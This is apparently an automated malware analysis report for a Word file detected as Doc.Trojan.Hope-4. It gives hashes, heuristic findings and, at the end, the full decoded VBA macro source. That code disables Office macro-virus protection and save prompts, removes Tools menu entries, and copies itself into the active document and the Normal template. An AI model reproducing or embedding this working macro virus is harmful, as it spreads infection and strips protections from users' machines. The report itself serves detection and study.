Office (OLE) malware analysis — malicious · 0f37df8eda97f891

MALICIOUS

Office (OLE)

45.0 KB Created: 2014-05-23 01:03:00 Authoring application: Microsoft Office Word First seen: 2015-09-18

MD5: 0041dd4aa17ab10a5fa0fb66aa9f7f30 SHA-1: d8a194161c8cb7341e5f09e766badb7d58f8df23 SHA-256: 0f37df8eda97f891594ffe52664db24ae229250cb1a777a44e114ba895f1877d

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The Document_Open and Document_Close macros are designed to self-replicate the macro code into the current document and the Normal template. This behavior, along with the ClamAV detection of 'Doc.Trojan.Hope-4', indicates a malicious intent to spread or maintain persistence. The macro attempts to modify the Normal template and save the current document, which is a common technique for malware.

Heuristics 5

ClamAV: Doc.Trojan.Hope-4 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Hope-4
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
AD.DeleteLines 1, AD.CountOfLines: AD.AddFromString MC
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open(): Document_Close: End Sub
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1809 bytes
SHA-256: `7fdc63d89931a939129475ca2e19ea8e8b46801aef3ce12c28eab41dc9db7406`
Detection ClamAV: Doc.Trojan.Hope-4 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open(): Document_Close: End Sub 'withered rope you hang what's empty can't remain to put it simply Private Sub Document_Close(): On Error Resume Next 'in time cry the hollow words to sing with false disguise smothered Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2) 'hope fly from sorrow for a new divine tomorrow i just don't want CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete 'to know anymore life shifts up and down everybody knows it's wrong Set CM = MacroContainer.VBProject.VBComponents.Item(1).CodeModule 'why don't you care? now do it seem fair? it's not in the rhyme or Set AD = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule 'reason so it goes with every season crawl to top fall through Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule 'bottom first hand love is really rotten slice of life find what's MC = CM.Lines(1, CM.CountOfLines) 'plenty inch towards a sanctuary light with me inside the womb i AD.DeleteLines 1, AD.CountOfLines: AD.AddFromString MC 'know everyone everybody knows it's me it's my voice, my voice NT.DeleteLines 1, NT.CountOfLines: NT.AddFromString MC 'cries out obscenity sightless eye regard my past sometimes it ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'should i just don't want to know anymore. End Sub 'NoHope~By~Lys~KovicK Lyrics From Smothered Hope(Skinny Puppy)

Open this report in the interactive analyzer, or submit your own file for analysis.